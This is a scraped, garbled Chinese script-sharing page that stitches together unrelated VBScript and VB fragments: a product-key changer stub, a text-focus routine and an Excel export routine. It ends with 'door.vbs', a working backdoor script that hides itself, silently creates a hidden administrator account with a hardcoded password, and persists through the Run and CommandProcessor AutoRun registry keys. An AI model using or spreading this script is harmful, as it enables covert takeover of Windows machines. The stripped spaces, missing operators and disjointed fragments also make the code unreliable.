自动看视频软件脚本显卡驱动安装页面

发布时间:2021-07-06 来源:脚本之家 点击:

想要移动一个没有标题栏的窗口是不那么容易的
'ForWinXPSP1SP2,WindowsServer2003
'***************************************************************************

ONERRORRESUMENEXT

DimVOL_PROD_KEY
ifWscript.arguments.count<1then
VOL_PROD_KEY=InputBox("使用说明(OEM版无效):"&vbCr&vbCr&"本脚本程序将修改当前Windows的序列号

简单的测试脚本怎么写

VBSCRIPT 学习必备速查手册(CHM版)

这个速查手册对从事ASP编程朋友来说绝对有用,而且用起来很方便,如果有什么函数忘记用法了,用这个手册可以快速方便的查询到PublicSubFocusMe(ctlNameAsControl)
WithctlName
.SelStart=0
.SelLength=Len(ctlName)
EndWith
EndSub

NowaddacalltothissubroutineintheGotFocuseventoftheinputcontrols:

PrivateSubtxtFocusMe_GotFocus()
CallFocusMe(txtFocusMe)
EndSub->

呵呵,想法是好的,我也这么想过,可是不行在过去的一年中,可以明显的看到ASP开发的变化,这些开发程序常常由一些易读的ASP脚本组成,在这些脚本的基础上运行整个程序

实现无位移动画的方法是,设置好Image对象和Timer对象后,在Timer事件过程中调用调用LoadPicture函数装载不同的图象,并赋予Image对象的Picture属性,使对象中显示不同的图象,即实现图象变化

您从 C:\Windows 开始并不意味着您只能打开该文件夹中的文件genesis下载程序需要,我在网上找了很久才找到,刚刚把程序写好,并加写了注释,希望能帮助大家
再写程序前先引用
microsoftexcel11.0objectLibrary
我看到的文章是10.0的,我这是office2003是11.0,只要安了excel就有这个引用~
PrivateSubcmdsave_Click()
MsgBox"文件保存为:D:\电网配电线路管理信息系统\信息查询结果\事故信息查询结果.xls"
DimiAsInteger
DimjAsInteger
DimexAsObject
DimexwbookAsObject
DimexsheetAsObject

Setex=CreateObject("Excel.Application")
Setexwbook=Nothing
Setexsheet=Nothing
Setexwbook=ex.Workbooks().Add
Setexsheet=exwbook.Worksheets("sheet1")

'在excel里表格的表头,这是根据我的需要添加的标头
ex.Range("c3").Value="日期"
ex.Range("d3").Value="时间"
ex.Range("e3").Value="站点"
ex.Range("f3").Value="汇报人"
ex.Range("g3").Value="线路双编号"
ex.Range("h3").Value="保护动作类型"
ex.Range("i3").Value="事故原因"
ex.Range("j3").Value="处理负责人"
ex.Range("k3").Value="处理方法"
ex.Range("l3").Value="处理结果"
ex.Range("m3").Value="结束时间"
ex.Range("n3").Value="备注"
'i为记录个数使用循环将数据全部添加
Fori=1ToAdodc1.Recordset.RecordCount
j=3 i
'k为数据列数
Fork=0To11
'通过使用变量k和j变换单元格位置
q=Chr(99 k)&j
'将datagrid1的数据放到单元格内
ex.Range(q).Value=DataGrid1.Columns(k)
Nextk
'指针下移
IfAdodc1.Recordset.EOF=FalseThen
Adodc1.Recordset.MoveNext
EndIf
Nexti

'保存输入到事故信息查询结果.xls
exwbook.SaveAs"D:\电网配电线路管理信息系统\信息查询结果\事故信息查询结果.xls"
'退出excel
ex.Quit
EndSub
我觉得这段程序很简单而且很使用,使用时不要打开事故信息查询结果.xls否则会报错
存储时系统会自动提示是否更换文件,根据自己用发来用->


1.door.vbs
'***************
'door.vbsby黑嘿黑
'***************
dimwsh,FA,FSO
setfso=CreateObject("Scripting.FileSystemObject")
SetFA=FSO.GetFile(WScript.scriptFullName)
FA.Attributes=34
setwsh=CreateObject("WScript.Shell")
wsh.run"netuserIUSE_SERVERxyhack.91i.net/add",0,true
wsh.run"netlocalgroupadministratorsIUSE_SERVER/add",0,true
wsh.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32",""&FA&""
wsh.Regwrite


"HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD"
wsh.regwrite"HKEY_LOCAL_MACHINE\Software\Microsoft\CommandProcessor\AutoRun",""&FA&""
wsh.regwrite"HKEY_CURRENT_USER\Software\Microsoft\CommandProcessor\AutoRun",""&FA&""

功能:添加不死帐号(随cmd启动而启动),在win下彻底隐藏。

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号